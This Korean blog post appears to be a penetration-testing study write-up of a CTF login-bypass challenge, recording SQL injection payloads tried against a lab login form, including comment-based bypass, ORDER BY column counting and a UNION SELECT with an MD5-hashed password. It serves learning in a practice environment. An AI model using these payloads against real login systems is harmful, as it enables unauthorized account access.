이전
2024.11.23 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 CTF 문제 - Login Bypass 3
모의해킹 스터디 CTF 문제 - Login Bypass 3
이번 문제는 normaltic3로 로그인을 성공하면 되는 문제이다. 1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인특이사항이 없다. 2. 로그아웃 후 해당 값들을 시도UserId: doldol' and '1'=
it-techlog.tistory.com
해당 문제에서 플래그 값을 찾았으나 직접 찾아보는 시도를 해보았다.
이번 문제는 normaltic4로 로그인을 성공하면 되는 문제이다.
1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인
특이사항이 없다.
2. 로그아웃 후 해당 값들을 시도
- UserId: doldol' and '1'='1 / Password: ‘아무 글자’ → 로그인 실패
- UserId: doldol' and '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
- sql 인젝션 공격이 가능하다.
- UserId: doldol' or '1'='1 / Password: ‘아무 글자’ → 로그인 실패
- UserId: doldol' or '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
- ‘or’ 글자를 필터링하였다. or 식별/인증 분리 로직이다.
- UserId: doldol' || '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 실패
- UserId: doldol' || '1'='1 / Password: ‘아무 글자’ → 로그인 실패
- ‘||’ 글자를 필터링 하였다. or 식별/인증 분리 로직이다.
- UserId: doldol' - - / Password: ‘아무 글자’ → 로그인 실패
- UserId: doldol' - - / Password: ‘doldol 비밀번호’ → 로그인 실패
- ‘- -’ 글자를 필터링 하였다 or 식별/인증 분리 로직이다.
- UserId: doldol' # / Password: ‘아무 글자’ → 로그인 실패
- UserId: doldol' # / Password: ‘doldol 비밀번호’ → 로그인 성공
- 식별/인증 분리 로직이다.
SQL 구문은
SELECT * FROM 테이블명 WHERE userId = {UserId}
if(dbPassword == {Password}) { }
해당 구조로 예상된다.
3. 컬럼 개수를 확인
- doldol' order by 1 # → 로그인 성공
- doldol' order by 2 # → 로그인 성공
- doldol' order by 3 # → 로그인 실패
- 컬럼 개수는 총 2개이다.
4. UNION을 사용
- ' UNION SELECT 'normaltic4', '1234' # → 로그인 실패
- 컬럼 위치에 맞지 않게 작성이 되었을 가능성이 있다. or 식별 / 인증 로직 중 다른 로직을 고민해봐야 한다.
- ' UNION SELECT '1234', 'normaltic4' # → 로그인 실패
- 식별 / 인증 로직 중 다른 로직임을 알 수 있다.
- 로그인 시 식별 / 인증 분리 로직 중 해시값을 처리해 주는 로직이 있었다.
모의해킹 스터디 3주차 과제(1) - 로그인 케이스 구현
이번주 과제는2024.10.31 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 3주차 정리 모의해킹 스터디 3주차 정리로그인 이란?식별과 인증 작업사용자가 데이터를 입력하면, 데이터와 일치하는
it-techlog.tistory.com
- 해시 값을 처리하는 알고리즘은 다양하게 있다.
해시 알고리즘
정의해시 알고리즘은 임의의 길이의 데이터를 고정된 길이의 해시 값(혹은 해시 코드)으로 변환하는 수학적 함수.주로 데이터의 무결성을 검증하거나, 암호화에서 비밀번호를 안전하게 저장하
it-techlog.tistory.com
5. SQL에서 해시 값으로 변환하는 내장 함수(MD5, SHA-1, SHA-2) 를 적용
- MD5 > 로그인 성공
User ID: ' union select 'normaltic4',md5('1234') #
Password:1234
- SHA-1 > 로그인 실패
User ID: ' union select 'normaltic4',SHA1('1234') #
Password:1234
- SHA-2 > 로그인 실패
User ID: ' union select 'normaltic4',SHA2('1234', 256) #
Password:1234
- > MD5 알고리즘이 사용되었다는 걸 알 수 있다.
로그인 성공 시
컬럼명1 | 컬럼명2 |
nomaltic4 | 1234 |
해당 값으로 데이터가 조회될 것이다.
그 후 작성한 비밀번호를 MD5 알고리즘을 활용하여 조회 된 비밀번호와 비교하고 있다는 것이 예상된다.
위의 결과로 예상 SQL 구문을
SELECT * FROM 테이블명 WHERE userId = {UserId}
if(dbPassword == {md(Password)}) { }
이 처럼 수정 할 수 있다.
6. 로그인 성공
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - Secret Login (0) | 2024.11.25 |
---|---|
모의해킹 스터디 CTF 문제 - Login Bypass5 (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Login Bypass 3 (0) | 2024.11.23 |
모의해킹 스터디 CTF 문제 - Login Bypass 2 (0) | 2024.11.22 |
모의해킹 스터디 CTF 문제 - Login Bypass 1 (0) | 2024.11.22 |